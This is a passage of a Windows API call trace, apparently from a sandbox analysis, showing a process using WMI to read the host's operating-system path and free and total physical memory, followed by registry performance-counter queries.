puCount=0x1d2de1b8*=0x2) returned 0x0 [0271.987] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0271.987] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.987] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0271.987] IUnknown:AddRef (This=0x1d35bbb0) returned 0x3 [0271.987] IEnumWbemClassObject:Clone (in: This=0x1d35bbb0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c0f0) returned 0x0 [0272.070] IUnknown:QueryInterface (in: This=0x1d35c0f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c0f8) returned 0x0 [0272.070] IClientSecurity:QueryBlanket (in: This=0x1d35c0f8, pProxy=0x1d35c0f0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0272.070] IUnknown:Release (This=0x1d35c0f8) returned 0x1 [0272.070] IUnknown:QueryInterface (in: This=0x1d35c0f0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b3509c8) returned 0x0 [0272.071] IUnknown:QueryInterface (in: This=0x1d35c0f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c0f8) returned 0x0 [0272.071] IClientSecurity:SetBlanket (This=0x1d35c0f8, pProxy=0x1d35c0f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.258] IUnknown:Release (This=0x1d35c0f8) returned 0x2 [0272.258] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0272.258] CoTaskMemFree (pv=0x1d471830) [0272.258] IUnknown:QueryInterface (in: This=0x1d35c0f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b3509c8) returned 0x0 [0272.258] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0272.366] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0272.491] IUnknown:QueryInterface (in: This=0x1d35c0f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0272.820] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0272.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0272.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0272.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b3508a8) returned 0x0 [0272.821] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.821] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0272.821] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0272.821] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0272.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b350990) returned 0x0 [0272.822] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0272.822] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0272.822] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0272.822] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0272.822] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0272.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c0f0) returned 0x0 [0272.822] IUnknown:AddRef (This=0x1d35c0f0) returned 0x4 [0272.822] IUnknown:Release (This=0x1d35c0f0) returned 0x3 [0272.822] IUnknown:Release (This=0x1d35c0f0) returned 0x2 [0272.822] IUnknown:Release (This=0x1d35bbb0) returned 0x2 [0272.822] SysStringLen (param_1=0x0) returned 0x0 [0272.823] IEnumWbemClassObject:Reset (This=0x1d35c0f0) returned 0x0 [0272.824] CoTaskMemAlloc (cb=0x8) returned 0x5248a0 [0272.824] IEnumWbemClassObject:Next (in: This=0x1d35c0f0, lTimeout=-1, uCount=0x1, apObjects=0x5248a0, puReturned=0x2a1bb68 | out: apObjects=0x5248a0*=0x1b348b00, puReturned=0x2a1bb68*=0x1) returned 0x0 [0272.835] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b348b00) returned 0x0 [0272.835] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0272.835] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0272.835] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0272.836] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0272.836] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0272.836] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0272.836] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b348b08) returned 0x0 [0272.836] IMarshal:GetUnmarshalClass (in: This=0x1b348b08, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.836] IUnknown:Release (This=0x1b348b08) returned 0x3 [0272.836] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0272.836] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0272.836] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0272.837] IUnknown:Release (This=0x1b348b00) returned 0x2 [0272.837] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0272.837] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0272.837] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b348b00) returned 0x0 [0272.837] IUnknown:AddRef (This=0x1b348b00) returned 0x4 [0272.837] IUnknown:Release (This=0x1b348b00) returned 0x3 [0272.837] IUnknown:Release (This=0x1b348b00) returned 0x2 [0272.837] CoTaskMemFree (pv=0x5248a0) [0272.837] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0272.837] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0272.838] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0272.838] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0272.838] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0272.838] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0272.839] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0272.841] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0272.841] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0272.841] IUnknown:Release (This=0x4b0108) returned 0x1 [0272.844] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496fa0) returned 0x0 [0272.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496fa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0272.844] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496fa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0272.844] WbemDefPath:IUnknown:Release (This=0x1d496fa0) returned 0x0 [0272.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0272.845] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d4973a0) returned 0x0 [0272.845] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d4973a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.845] WbemDefPath:IUnknown:Release (This=0x1d4973a0) returned 0x3 [0272.845] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0272.845] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0272.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0272.846] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0272.846] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0272.846] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0272.846] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0272.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0272.846] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0272.846] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0272.846] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0272.846] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0272.846] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0272.846] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0272.847] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0272.847] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.847] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a1c930*=0, plFlavor=0x2a1c934*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a1c930*=21, plFlavor=0x2a1c934*=0) returned 0x0 [0272.847] SysStringByteLen (bstr="1395304") returned 0xe [0272.847] SysStringByteLen (bstr="1395304") returned 0xe [0272.847] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a1c930*=21, plFlavor=0x2a1c934*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a1c930*=21, plFlavor=0x2a1c934*=0) returned 0x0 [0272.847] SysStringByteLen (bstr="1395304") returned 0xe [0272.847] SysStringByteLen (bstr="1395304") returned 0xe [0272.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0272.848] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0272.848] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.848] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a1cb28*=0, plFlavor=0x2a1cb2c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a1cb28*=21, plFlavor=0x2a1cb2c*=0) returned 0x0 [0272.848] SysStringByteLen (bstr="2096620") returned 0xe [0272.848] SysStringByteLen (bstr="2096620") returned 0xe [0272.849] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a1cb28*=21, plFlavor=0x2a1cb2c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a1cb28*=21, plFlavor=0x2a1cb2c*=0) returned 0x0 [0272.849] SysStringByteLen (bstr="2096620") returned 0xe [0272.849] SysStringByteLen (bstr="2096620") returned 0xe [0272.849] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0272.849] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0272.849] IUnknown:Release (This=0x1d35c0f0) returned 0x0 [0275.085] GetTickCount64 () returned 0xabb95f [0275.088] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0275.089] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2871178, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2871178*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0275.109] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0275.110] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2897e50, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2897e50*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0275.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 